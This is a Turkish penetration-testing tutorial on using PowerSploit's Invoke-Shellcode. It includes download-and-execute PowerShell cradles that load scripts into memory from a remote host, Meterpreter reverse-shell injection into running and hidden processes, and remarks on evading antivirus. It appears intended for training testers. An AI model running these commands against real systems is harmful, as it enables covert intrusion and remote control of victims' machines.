Sızma Testlerinde PowerShell Kullanımı – PowerSploit

Sızma Testlerinde PowerShell Kullanımı – PowerSploit



Powershell Microsoft firması tarafından Windows Komut Satırına ve Windows Script Host’a alternatif olarak geliştirilen bir komut satırıdır. Kullanıcılar çalıştıracakları komutlar ile bağ kurabilirler. Powershell bu ve bunun gibi bir kaç özelliği nedeniyle biraz UNIX komut yapısına benzemektedir.



Yazı içerisinde Powershell üzerinden çalıştırılacak scriptler ile hedef işletim sistemi nasıl ele geçirilir sorununa cevap verilmeye çalışılmıştır. Bunun için geliştirilen çeşitli Powershell scriptlerinden oluşturulmuş Powersploıt kullanılmıştır. Saldırgan işletim sistemi olarak Kali Linux kullanılmıştır. Eğer işletim sisteminiz üzerinde git kurulu ise aşağıda komutlar kullanılarak /opt dizini altına Powersploiti kurabilirsiniz.




cd /opt
git clone https://github.com/mattifestation/PowerSploit.git



Kurulum başlarıyla çalıştırıldıktan sonra aşağıdaki komut kullanılarak Python ile basit bir HTTP sunucu başlatılır. Böylece IP adresimizi kullanarak Powershell scriptleri hedef işletim sistemine indirilebilir hale gelecektir. Eğer istenirse Powersploitin GitHub üzerindeki sayfasından da ilgili Powershell scriptleri çekilebilir.



python -m SimpleHTTPServer



HTTP sunucumuz 8000 numaralı port üzerinde çalışmaya başladı tarayıcı üzerinden http://:/ adresi kullanılarak scriptlere erişilebilir. Aşağıda ilgili ekran görüntüsü verilmiştir.





Powersploitin birçok amaç ile hazırlanmış Powershell scriptlerinin bir araya gelmesi ile hazırlanmış bir paket olduğunu yukarı belirmiştir. Aşağıda Powersploit içerisinde bulunan dizinlerin ve içlerindeki scriptlerin ne işe yaradığı kısaca verilmiştir.





Antivirus Bypass – Antivirüs yazılımları ile ilgili imzaları arar.
Code Execution – Hedef makina üzerinde saldırganında komutlarını çalıştırır.
Exfiltration – Hedef makina üzerindeki verileri manipüle etmek ve toplamak için kullanılır.
Mayhem – PowerShell kullanılarak MBR üzerine veri yazmanın mümkün olduğunu kanıtlamak için oluşturulmuş bir scripttir ve herkese açık bir malwareden esinlenilmiştir. Sadece PoC olması için koyulmuştur.
Persistence – Hedef makina üzerinde kalıcı erişim sağlamak için kullanılır.
Recon – Hedef makina kullanarak keşif çalışmaları için kullanılır.
Script Modification – Hedef makina üzerindeki scriptleri manipüle etmek için kullanılır.



Yazının ilerleyen kısımlarında hedef makina üzerinden nasıl oturum elde edilir ekran görüntüleri ile beraber açıklanmıştır.
Invoke-Shellcode



Bu cmdlet kullanılarak hedef makinaya shellcode veya bir Metasploit payloadı enjekte edilebilir. Bu yöntemin avantajı diske herhangi bir yazma işlemi olmadığı ve herhangi bir antivirüs tarafından işaretlenmediği için yakalanma ihtimali çok düşüktür.



Öncelikle hedef makinaya Powershell scriptinin indirilip hafızaya yüklenmesi gerekir. Bunun için aşağıdaki komut kullanılabilir. Bu şekilde hareket edildiğinde antivirüs yazılımları tarafından herhangi bir yakalanma işlemi olmaz.



IEX (New-Object Net.WebClient).DownloadString(“http://:/CodeExecution/Invoke-Shellcode.ps1”)



Yukarıdaki komut ile PowerShell üzerinden indirilme işlemi başlar ve script hafızda çalışır. Eğer istenirse Powersploit’in Github adresi üzerinden de script çekilebilir. Bunun için aşağıdaki komut kullanılabilir.



IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1”)





Script indirilip hafızada çalıştırıldıktan sonra “Get-Help Invoke-Shellcode” komutu kullanılarak script hakkında detaylı bilgi alınabilir.
Script şimdilik aşağıda bulunan iki adet Metasploit modülünü desteklemektedir.



  • windows/meterpreter/reverse_http
  • windows/meterpreter/reverse_https



Bu noktadan sonra sistemi ele geçirmek için kullanılacak payload için dinleme moduna geçilir ve aşağıdaki komut kullanılarak hedef makinaya payload bulaştırılır.



Invoke-Shellcode -Payload -Lhost -Lport -Force





Yukarıdaki ekran görüntüsünde de anlaşılabileceği üzere hedef sistem üzerinde oturum ele geçirilmiştir. Handler modülü çalıştırılmadan önce aşağıda komut girilerek post exploitation otomatik olarak yapılabilir.



set AutoRunScript post/windows/manage/smart_migrate

Post exploitation ile ilgili ekran görüntüsü aşağıda verilmiştir.





Yukarıdaki komutta payload adı, bağlantı kurulacak IP ve port numarası dışında Force parametresi bulunmaktadır. Bu parametreyi kullanılmayıp eğer istenirse belirli bir işlemede payload bulaştırılabilir.



Bunun için öncelikle Powershell üzerinde “Get-Process” komutu ile o an ki işlemler listelenir.



Yedinci kolon olan Id kolununda işlem numaraları gözükmektedir. Bunlardan istenen işlemin Idsi alınır ve aşağıdaki komut kullanılarak payload sisteme bulaştırılır.



Invoke-Shellcode -ProcessId -Payload windows/meterpreter/reverse_https -Lhost -Lport



Yukarıdaki komuttan sadece -Force parametresi çıkarılmıştır. Komut çalıştırıldığında script bir doğrulama istenecektir bu da Y harfi ile doğrulanır.



Shellkod enjekte olduktan sonra hedef makinadan oturum elde edilir.



Ayrıca yeni bir işlem başlatılıp başlatılan işleme de payload bulaştırılabilir. Test ortamında Notepad yazılımı kullanılmıştır. Bunun için aşağıdaki komut kullanılarak PowerShell üzerinden Notepad yazılımı çalıştırılmıştır.



Start-Process C:WindowsSystem32notepad.exe -WindowStyle Hidden



Ardından “Get-Process notepad” komutu ile Notepad yazılımının işlem Id değeri öğrenilmiştir. Son olarak aşağıdaki komut kullanılarak işlem tamamlanmıştır.



Invoke-Shellcode -ProcessId -Payload windows/meterpreter/reverse_https -Lhost -Lport





Komut çalıştırıldıktan sonra oturum elde edilmiştir ve ilgili ekran görüntüsü aşağıda verilmiştir.



Halil DALABASMAZ